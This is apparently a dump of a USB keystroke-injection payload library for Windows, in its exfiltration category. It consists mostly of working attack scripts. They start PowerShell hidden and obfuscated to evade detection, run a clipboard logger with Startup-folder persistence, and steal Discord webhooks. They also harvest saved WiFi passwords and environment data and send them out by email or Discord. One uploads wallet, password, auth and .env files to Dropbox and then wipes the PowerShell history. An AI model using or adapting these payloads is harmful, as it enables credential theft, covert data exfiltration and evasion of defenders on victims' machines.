    "content": "REM       Clipboard-Creep\r\nREM       Version 1.0\r\nREM       OS: Windows\r\nREM       Author: 0i41E\r\nREM       Requirement: DuckyScript 3.0, PayloadStudio v.1.3 minimum\r\nREM       This payload aims on the targets clipboard. Define a webhook plug in your payload and observe the clipboard content on your catching server.\r\nREM       Based on Clipboard-Creep.ps1 - https://github.com/0i41E/ClipBoard-Creep\r\n\r\n\r\nEXTENSION PASSIVE_WINDOWS_DETECT\r\n    REM VERSION 1.1\r\n    REM AUTHOR: Korben\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        Windows fully passive OS Detection and passive Detect Ready\r\n        Includes its own passive detect ready.\r\n        Does not require additional extensions.\r\n\r\n        USAGE:\r\n            Extension runs inline (here)\r\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n            boot delay\r\n            $_OS will be set to WINDOWS or NOT_WINDOWS\r\n            See end of payload for usage within payload\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #MAX_WAIT 150\r\n    DEFINE #CHECK_INTERVAL 20\r\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\r\n    DEFINE #NOT_WINDOWS 7\r\n\r\n    $_OS = #NOT_WINDOWS\r\n\r\n    VAR $MAX_TRIES = #MAX_WAIT\r\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\r\n        DELAY #CHECK_INTERVAL\r\n        $MAX_TRIES = ($MAX_TRIES - 1)\r\n    END_WHILE\r\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\r\n        $_OS = WINDOWS\r\n    END_IF\r\n\r\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\r\n        IF ($_OS == WINDOWS) THEN\r\n            STRING HELLO WINDOWS!\r\n        ELSE\r\n            STRING HELLO WORLD!\r\n        END_IF\r\n    END_REM\r\nEND_EXTENSION\r\n\r\nEXTENSION EXTENSION Rolling_Powershell_Execution\r\n    REM VERSION 1.0\r\n    REM Author: 0i41E\r\n    REM Credits: Korben, Daniel Bohannon, Grzegorz Tworek\r\n    REM Requirements: PayloadStudio v.1.3 minimum\r\n    REM Starts Powershell in uncommon ways to avoid basic detection\r\n    REM Via randomisation, obfuscation and usage of less used parameters, this extension helps to evade basic detection.\r\n\r\n    REM CONFIGURATION:\r\n    REM Add ExecutionPolicy bypass\r\n    DEFINE #EXECUTIONPOLICY FALSE\r\n    DEFINE #DELAY 500\r\n\r\n    $_RANDOM_MIN = 1\r\n    $_RANDOM_MAX = 16\r\n    VAR $RANDOM_PS = $_RANDOM_INT\r\n    FUNCTION Rolling_Powershell_Execution()\r\n        IF ($RANDOM_PS == 1) THEN\r\n            STRING cmd.exe /c \"p%PSModulePath:~21,1%weRshe%PUBLIC:~12,1%l.exe -noPr -Noni -wi Hid\"\r\n        ELSE IF ($RANDOM_PS == 2) THEN\r\n            STRING cmd.exe /c \"PowerShe%PUBLIC:~12,1%%PUBLIC:~12,1% /NoPr /NonI /w hi\"\r\n        ELSE IF ($RANDOM_PS == 3) THEN\r\n            STRING cmd.exe /c \"P%PSModulePath:~21,1%werShell /NoPr /NonI /w hi\"\r\n        ELSE IF ($RANDOM_PS == 4) THEN\r\n            STRING cmd /c \"FOR /F \"delims=s\\ t%PSModulePath:~25,1%kens=4\" %a IN ('set^|findstr PSM')DO %a -nop -noni /w H\"\r\n        ELSE IF ($RANDOM_PS == 5) THEN\r\n            STRING cmd /c \"Powe%ALLUSERSPROFILE:~4,1%Shell -NoPr -NonI -w hi\"\r\n        ELSE IF ($RANDOM_PS == 6) THEN\r\n            STRING cmd /c \"p^Owe%ALLUSERSPROFILE:~7,1%Shell /NoPr /Nonin /wind hidD\"\r\n        ELSE IF ($RANDOM_PS == 7) THEN\r\n            STRING cmd.exe /c \"P%PSModulePath:~21,1%werShell -NoPr -NonI -w hi\"\r\n        ELSE IF ($RANDOM_PS == 8) THEN\r\n            STRING powershell -NoPro -noninT -win h\r\n        ELSE IF ($RANDOM_PS == 9) THEN\r\n            STRING cmd /c \"p^Owe%ALLUSERSPROFILE:~7,1%Shell -NoP -Noni -wind hidD\"\r\n        ELSE IF ($RANDOM_PS == 2) THEN\r\n            STRING powershell.exe -NoP -nOni -W h\r\n        ELSE IF ($RANDOM_PS == 10) THEN\r\n            STRING cmd /c \"FOR /F \"delims=s\\ tokens=4\" %a IN ('set^|findstr PSM')DO %a -nop -noni -w H\"\r\n        ELSE IF ($RANDOM_PS == 11) THEN\r\n            STRING powershell -nopr -noninT -W HiddEn\r\n        ELSE IF ($RANDOM_PS == 12) THEN\r\n            STRING cmd.exe /c \"FOR /F \"delims=s\\ tokens=4\" %a IN ('set^|findstr PSM')DO %a -noProF -nonin -win Hi\"\r\n        ELSE IF ($RANDOM_PS == 13) THEN\r\n            STRING cmd /c \"P%PSModulePath:~25,1%weRShell -noProf -NonIn -wi h\"\r\n        ELSE IF ($RANDOM_PS == 14) THEN\r\n            STRING powershell -noproF -noni -W Hi\r\n        ELSE IF ($RANDOM_PS == 15) THEN\r\n            STRING cmd /c \"Powe%ALLUSERSPROFILE:~4,1%Shell /NoPr /NonI /%PSModulePath:~17,1% hi\"\r\n        ELSE ($RANDOM_PS == 16) THEN\r\n            STRING powershell.exe -noP -nOnI -windo H\r\n        END_IF\r\n\r\n\r\n    IF_DEFINED_TRUE #EXECUTIONPOLICY\r\n        SPACE\r\n        IF (($RANDOM_PS % 2) == 0) THEN\r\n            STRING -ep ByPasS\r\n        ELSE IF (($RANDOM_PS % 5) == 0) THEN\r\n            STRING -exec bypass\r\n        ELSE IF (($RANDOM_PS % 7) == 0) THEN\r\n            STRING -exeC byPasS\r\n        ELSE IF (($RANDOM_PS % 10) == 0) THEN\r\n            STRING -exEcUtionPoL bYpaSs\r\n        ELSE IF (($RANDOM_PS % 12) == 0) THEN\r\n            STRING -exEcUtion bYPaSs\r\n        ELSE\r\n            STRING -eP BYPaSs\r\n        END_IF\r\n    END_IF_DEFINED\r\n    ENTER\r\n    DELAY #DELAY\r\n    END_FUNCTION\r\n    REM EXAMPLE USAGE AFTER EXTENSION\r\n    REM DELAY 2000\r\n    REM GUI r\r\n    REM DELAY 2000\r\n    REM Rolling_Powershell_Execution()\r\nEND_EXTENSION\r\n\r\nEXTENSION Detect_Finished\r\n    REM VERSION 1.0\r\n    REM AUTHOR: 0i41E\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        USAGE:\r\n            Use the function Detect_Finished() to signal the finished execution of your payload.\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #PAUSE 150\r\n    FUNCTION Detect_Finished()\r\n        IF ($_CAPSLOCK_ON == FALSE)\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        ELSE IF\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        END_IF\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\n\r\nREM Define URL of your catching webhook\r\nDEFINE #HOOK \"https://example.com/\"\r\nREM Define the pause between calls to your webhook. \r\nDEFINE #CALLBACK_DELAY 12\r\n\r\nIF ($_OS == WINDOWS) THEN\r\n    GUI r\r\n    DELAY 1000\r\n    REM randomized and obfuscated way to start powershell\r\n    Rolling_Powershell_Execution()\r\n    STRINGLN_POWERSHELL\r\n    $e = $null\r\n    while ($true) \r\n    {\r\n        $c = Get-Clipboard\r\n        if ($c) \r\n        {\r\n            if ($c -ne $e)\r\n            {\r\n                $o = \"Clipboard content: $c\"\r\n                irm -Uri #HOOK -Method POST -Body $o\r\n            } else \r\n            {\r\n                $o = \"Clipboard content hasn't changed\"\r\n                irm -Uri #HOOK -Method POST -Body $o\r\n            }\r\n            $e = $c\r\n            } else \r\n            {\r\n            $o = \"Clipboard is empty\"\r\n            irm -Uri #HOOK -Method POST -Body $o\r\n        }\r\n        sleep -s #CALLBACK_DELAY\r\n    }\r\n    END_STRINGLN\r\n    ENTER\r\n    DELAY 250\r\n    Detect_Finished()\r\nELSE\r\n    ATTACKMODE OFF\r\nEND_IF\r\n\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Copy-And-Waste/I.bat",
    "content": "@echo off\r\npowershell -Command \"& {cd \"$env:userprofile\\AppData\\Roaming\"; powershell -w h -NoP -NonI -Ep Bypass -File \"c.ps1\"}\"\r\npause\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Copy-And-Waste/README.md",
    "content": "<img src=\"https://github.com/atomiczsec/My-Payloads/blob/main/Assets/caw.png\" width=\"200\">\n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+;Copy+And+Waste!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Copy-And-Waste\n\nA payload to exfiltrate clipboard contents\n\n## Description\n\nThis payload uses iwr to download 2 files \n* I.bat\n* c.ps1\n\n**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup\n\n**c.ps1** will sit in AppData\\Roaming folder, waiting for a Ctrl + C or Ctrl + X click \n\nThen the contents will then be sent to the discord webhook for viewing pleasure\n\nFor killing the script press both Ctrl buttons at the same time [It will resume at reboot]\n\n\n## Getting Started\n\n### Dependencies\n\n* Pastebin or other file sharing service, Discord webhook or other webhook service\n* Windows 10,11\n* [Here](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks) is a tutorial on how to use Discord webhooks \n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Device will download both files and place them in proper directories to then run the script\n```\npowershell -w h -NoP -NonI -Ep Bypass \"echo (iwr PASTEBIN LINK FOR BAT).content > \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\l.bat\";echo (iwr PASTEBIN LINK FOR PS1).content > \"$env:APPDATA\\c.ps1\";powershell \"$env:APPDATA\\c.ps1\"\"\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here:\n\n[atomiczsec](https://github.com/atomiczsec) &\n[I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Copy-And-Waste/c.ps1",
    "content": "﻿Add-Type -AssemblyName WindowsBase\r\nAdd-Type -AssemblyName PresentationCore\r\n\r\nfunction dischat {\r\n\r\n  [CmdletBinding()]\r\n  param (    \r\n  [Parameter (Position=0,Mandatory = $True)]\r\n  [string]$con\r\n  ) \r\n  \r\n  $hookUrl = 'YOUR DISCORD WEBHOOK'\r\n  \r\n$Body = @{\r\n  'username' = $env:username\r\n  'content' = $con\r\n}\r\n\r\n\r\nInvoke-RestMethod -Uri $hookUrl -Method 'post' -Body $Body\r\n\r\n}\r\n\r\n\r\ndischat (get-clipboard)\r\n\r\nwhile (1){\r\n    $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')\r\n    $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::RightCtrl)\r\n    $cKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::c)\r\n    $xKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::x)\r\n\r\n       if (($Lctrl -or $Rctrl) -and ($xKey -or $cKey)) {dischat (Get-Clipboard)}\r\n       elseif ($Rctrl -and $Lctrl) {dischat \"---------connection lost----------\";exit}\r\n       else {continue}\r\n} "
  },
  {
    "path": "payloads/library/exfiltration/Copy-And-Waste/payload.txt",
    "content": "REM     Title: Copy-And-Waste\r\n\r\nREM     Author: atomiczsec & I am Jakoby\r\n\r\nREM     Description: This payload is meant to exfiltrate whatever is copied to the clipboard and sends to a discord webhook\r\n\r\nREM     Target: Windows 10, 11\r\n\r\nDELAY 2000\r\nGUI\r\nDELAY\r\nSTRING powershell -w h -NoP -NonI -Ep Bypass \"echo (iwr PASTEBIN LINK FOR BAT).content > \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\l.bat\";echo (iwr PASTEBIN LINK FOR PS1).content > \"$env:APPDATA\\c.ps1\";powershell \"$env:APPDATA\\c.ps1\"\" \r\nENTER\r\n\r\nREM     Remember to replace the link with your pastebin shared link for the intended files to download\r\nREM     Also remember to put in your discord webhook in c.ps1\r\nREM     For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Create_And_Exfiltrate_A_Webhook_Of_Discord/README.md",
    "content": "# Create And Exfiltrate A Webhook Of Discord\n\nThis script allows you to create a Webhook of a Discord server quickly and exfiltrate it. For demonstration purposes another Discord webhook was used for exfiltration but of course any method you prefer can be used.\n\n**Category**: Exfiltration\n\n## Description\n\nThis script allows you to create a Webhook of a Discord server quickly and exfiltrate it. For demonstration purposes another Discord webhook was used for exfiltration but of course any method you prefer can be used.\n\nFirst of all open Discord trough Windows GUI, the open time may vary depending on the pc and whether there may be updates that need to be done. When it is open, search the server using a Discord keyboard shortcut *\\<server_name>, then go to first channel and open the settings using TABx11, then go to Integration settings using TABx6 and DOWN_ARROWx3, then create a Webhook (Because it may happen that there is still not even one) and copy the first reachable, then close Discord.\n\nTo do the exfiltration I decided to use another discord webhook but of course you can use whatever exfiltration method you prefer.\n\n**Stealing a Discord webhook without authorization is considered a cybercrime**. Acquiring a webhook without proper permission is a violation of digital security and can be subject to legal consequences.\n\n## Dependencies\n\n* Discord Installed\n* Internet connection\n\n## Settings\n\n- You must define the Discord server name i.e. Hak5\n\n    `DEFINE #SERVER_NAME example`\n\n- You must define your Dropbox accessToken or modify the exfiltration modality.\n\n    `DEFINE #DISCORD_WEBHOOK example`\n\n- The open time may vary depending on the pc and whether there may be updates that need to be done\n    \n    `DELAY 6000`\n    \n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/exfiltration/Create_And_Exfiltrate_A_Webhook_Of_Discord/payload.txt",
    "content": "REM_BLOCK\n###############################################################\n#                                                             #\n# Title        : Create And Exfiltrate A Webhook Of Discord   #\n# Author       : Aleff                                        #\n# Version      : 1.0                                          #\n# Category     : Exfiltration                                 #\n# Target       : Windows 10-11                                #\n#                                                             #\n###############################################################\nEND_REM\n\n\nREM Requirements:\nREM     - Internet connection\nREM     - Discord Installed\n\nREM You must define the Discord server name i.e. Hak5\nDEFINE #SERVER_NAME example\n\nREM You must define your Discord webhook if you want to use this method for the exfiltration\nDEFINE #DISCORD_WEBHOOK example\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nREM Open Discord app\nGUI\nDELAY 1000\nSTRING Discord\nENTER\n\nREM It depends\nDELAY 6000\n\nREM Search by Discord keyboard shortcut and open it\nCTRL k\nDELAY 500\nSTRINGLN *#SERVER_NAME\nDELAY 500\n\nREM Go to first channel and open the settings\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\n\nREM Open Integrations section\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nDOWNARROW\nDELAY 500\nDOWNARROW\nDELAY 500\nDOWNARROW\nDELAY 500\nENTER\nDELAY 500\n\nREM Webhooks settings\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Create Webhook\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\n\nREM Select first Webhook\nTAB\nDELAY 500\nENTER\nDELAY 500\n\nREM Copy Webhook\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nSPACE\nDELAY 500\n\nREM Close Discord\nALT F4\n\nREM Open a PowerShell\nDELAY 500\nGUI r\nDELAY 500\nSTRING powershell\nDELAY 500\nENTER\nDELAY 2000\n\nREM Exfiltration using Discord Webhook\nSTRINGLN $WebhookUrl = \"#DISCORD_WEBHOOK\"\n\nSTRING $Payload = @{content = \"\nCTRL v\nSTRINGLN \"} | ConvertTo-Json\n\nSTRINGLN Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType 'application/json'; exit;\n"
  },
  {
    "path": "payloads/library/exfiltration/DUCKY-WIFI_GRABER/payload.txt",
    "content": "REM Title:         Ducky WiFi Grabber\nREM Description:   Steals wifi passwords and sends them to your outlook email\nREM Author:        Zero_Sploit\nREM Props:         Hak5 Team\nREM Version:       1.0\nREM Category:      Exfiltration\nREM Target:        Windows 10 (CMD + Powershell)\nREM Attackmodes:   HID\nREM Some editing on your part is needed such as outlook email & password\nREM This script is for educational purposes only please do not use this for malicious purposes\nREM Open Cmd\nDELAY 1000\nWINDOWS r\nDELAY 500\nSTRING cmd\nENTER\nDELAY 200\nREM Get all SSID\nSTRING cd %USERPROFILE% & netsh wlan show profiles | findstr \"All\" > a.txt\nENTER\nREM Create a filter.bat to get all the profile names\nSTRING echo SETLOCAL EnableDelayedExpansion^\nENTER\nENTER\nSTRING for /f \"tokens=5*\" %%i in (a.txt) do (^\nENTER\nENTER\nSTRING set val=%%i %%j^\nENTER\nENTER\nSTRING if \"!val:~-1!\" == \" \" set val=!val:~0,-1!^\nENTER\nENTER\nSTRING echo !val!^>^>b.txt) > filter.bat\nENTER\nREM Run filter.bat and save all profile names in b.txt\nSTRING filter.bat\nDELAY 300\nENTER\nREM --> Save all the LOOT in Log.txt and delete the other files\nSTRING (for /f \"tokens=*\" %i in (b.txt) do @echo     SSID: %i & netsh wlan show profiles name=\"%i\" key=clear | findstr /c:\"Key Content\" & echo.) > Log.txt\nENTER\nDELAY 1000\nSTRING exit\nDELAY 500\nENTER\nDELAY 1000\nREM Mail Log.txt\nWINDOWS r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 1000\nSTRING del .\\a.txt \nENTER\nSTRING del .\\b.txt \nENTER\nSTRING del .\\filter.bat\nENTER\nREM Email The Log.txt file\nSTRING $SMTPServer = 'smtp-mail.outlook.com'\nENTER\nSTRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)\nENTER\nSTRING $SMTPInfo.EnableSSL = $true\nENTER\nSTRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUR EMAIL HERE', 'YOUR EMAIL PASSWORD HERE')\nENTER\nSTRING $ReportEmail = New-Object System.Net.Mail.MailMessage\nENTER\nSTRING $ReportEmail.From = 'YOUR EMAIL HERE'\nENTER\nSTRING $ReportEmail.To.Add('YOUR EAMIL HERE')\nENTER\nSTRING $ReportEmail.Subject = 'WiFi key grabber'\nENTER\nSTRING $ReportEmail.Body = (Get-Content Log.txt | out-string)\nENTER\nSTRING $SMTPInfo.Send($ReportEmail)\nENTER\nREM Delete Log.txt and exit\nDELAY 3000\nSTRINGLN del Log.txt\nDELAY 500\nSTRINGLN exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/Discord_Windows_Wifi_IP-Info/payload.txt",
    "content": "REM Title:          Discord Windows Wifi IP-Info\nREM Description:    Grabs wifi passwords, environment data, IPv4 Network addresses, writes to a file, uploads it to Discord, then cleans up the file on the targets filesystem and exits. \nREM Author:         Startrk1995\nREM Props:          Hak5 Team\nREM Version:        1.0\nREM Category:       Exfiltration\nREM Target:         Windows 10 (CMD + Powershell)\nREM Attackmodes:    HID\nREM Mandatory Info: Add your Discord Webhook URL in quotes with no spaces and with permission to post.\nREM Discord URL:    Example: https://discord.com/api/webhooks/123456789012345678/adjlfjlejlidsjasdlijflie_ajsdflkjaljeiljkdajlkjd\nREM Legal:          This script is for educational purposes only please do not use this for malicious purposes\n\nDELAY 500\nGUI r\nDELAY 200\nSTRING powershell\nENTER\nDELAY 1000\n\nREM I have this as all one command for quickness.\n\nSTRING $url=\"YOUR DISCORD WEBHOOK\";dir env: >> stats.txt; Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\\d+.\\d+)' >> stats.txt;(netsh wlan show profiles) | Select-String \"\\:(.+)$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=\"$name\" key=clear)}  | Select-String \"Key Content\\W+\\:(.+)$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;$Body=@{ content = \"$env:computername Stats from Ducky/Pico\"};Invoke-RestMethod -ContentType 'Application/Json' -Uri $url  -Method Post -Body ($Body | ConvertTo-Json);curl.exe -F \"file1=@stats.txt\" $url ; Remove-Item '.\\stats.txt';exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/Dropbox-Bandit/ex-readable-src.ps1",
    "content": "# directory to steal from (ALL SUBDIRECTORIES INSIDE AS WELL)\n$source = $env:USERPROFILE+\"\\Documents\\*\";\n\n##############################################################################################\n#                  Dropbox API values: Follow read.me tutorial to get these!                 #\n##############################################################################################\n# refresh_token\n$refreshToken = \"REFRESH_TOKEN_HERE\";\n# App key\n$user = 'APP_KEY_HERE';\n# App secret\n$pass = 'APP_SECRET_HERE';\n\n# temp directory to copy our files to\n$dest = $env:TMP+\"\\cpy\";\n$n = 0;\n$mb = 0;\n\n# Delete the destination directory if it exists\nif(Test-Path $dest) { rm -Path $dest -Force -Recurse; }\n\n# find our files and copy them into the temp directory\nGCI $source -R -I \"*.txt\",\"*wallet*\",\"*.env\",\".x*\",\".doc*\",\"*pass*\",\"*auth*\" | % {\n    $size = ((GCI $_.FullName).length/1MB);\n    # ignore files that are too big\n    if($size -lt 100) {\n        $mb += $size;\n        # once we come close to exceeding the dropbox upload limit we switch to a new folder\n        if($mb -ge 100) {\n            $mb = 0;\n            $n++;\n        }\n        ROBOCOPY $_.Directory (\"$dest\\$n\\\") $_.Name /MT 128 /NJH /NJS | Out-Null;\n    }\n}\n\n$creds = @{\n    grant_type = \"refresh_token\";\n    refresh_token = $refreshToken;\n};\n$headers = @{\n    \"Authorization\" = \"Basic \"+ [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(\"${user}:${pass}\"));\n    \"Content-Type\" = \"application/x-www-form-urlencoded\";\n};\n$accessToken = (Invoke-RestMethod https://api.dropbox.com/oauth2/token  -Method Post -Body $creds -Headers $headers).access_token;\n\nAdd-Type -AssemblyName System.IO.Compression.Filesystem;\n$d=get-date -f MM-dd-yyyy;\n$t=get-date -f HH-MM-ss;\n\n# convert our files to zip files and then upload to dropbox\nfor($i = 0; $i -le $n; $i++)\n{\n    $zip = \"$env:TMP\\$env:USERNAME-$i-$t.zip\";\n    [System.IO.Compression.ZipFile]::CreateFromDirectory(\"$dest\\$i\\\", $zip, 0, $false);\n    $target=\"/$(hostname)-$env:USERNAME/$d/$env:USERNAME-$i-$t.zip\";\n    $arg = '{ \"path\": \"' + $target + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }';\n    $headers = @{\n        \"Authorization\" = \"Bearer $accessToken\";\n        \"Content-Type\" = \"application/octet-stream\";\n        \"Dropbox-API-Arg\" = $arg;\n    };\n    Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $zip -Headers $headers | Out-Null;\n}\n\n# delete the temp directory\nrm $dest -Force -Recurse;\n# delete the zip files\nfor($i = 0; $i -le $n; $i++)\n{\n    rm \"$env:TMP\\$env:USERNAME-$i-$t.zip\" -Force;\n}\n\n# hide our traces (only will delay blue team -- not totally prevent them from seeing the traces)\nClear-History;\nrm \"$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\*\";\nexit;"
  },
  {
    "path": "payloads/library/exfiltration/Dropbox-Bandit/ex.ps1",
    "content": "# directory to steal from (ALL SUBDIRECTORIES INSIDE AS WELL)\n$s=$env:USERPROFILE+\"\\Documents\\*\";\n# filetypes to exfiltrate\n$fileTypes=\"*.txt\",\"*wallet*\",\"*.env\",\"*.x*\",\"*.doc*\",\"*pass*\",\"*auth*\";\n##############################################################################################\n#                  Dropbox API values: Follow read.me tutorial to get these!                 #\n##############################################################################################\n# refresh_token\n$r=\"REFRESH_TOKEN_HERE\";\n# App key\n$u = 'APP_KEY_HERE';\n# App secret\n$p = 'APP_SECRET_HERE';\n# do not touch below this line unless you know what you're doing\n$ds=$env:TMP+\"\\cpy\";$n = 0;$mb = 0;if(Test-Path $ds){rm $ds -Fo -R;}GCI $s -R -I $fileTypes|%{$sz = ((GCI $_.FullName).length/1MB);if($size -lt 100){$mb+=$sz;if($mb -ge 100){$mb = 0;$n++;}ROBOCOPY $_.Directory (\"$ds\\$n\\\") $_.Name /MT 128 |Out-Null;}}\n$a=(Invoke-RestMethod https://api.dropbox.com/oauth2/token -Method Post -Body @{grant_type = \"refresh_token\";refresh_token = $r;} -Headers @{\"Authorization\" = \"Basic \"+ [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(\"${u}:${p}\"));\"Content-Type\" = 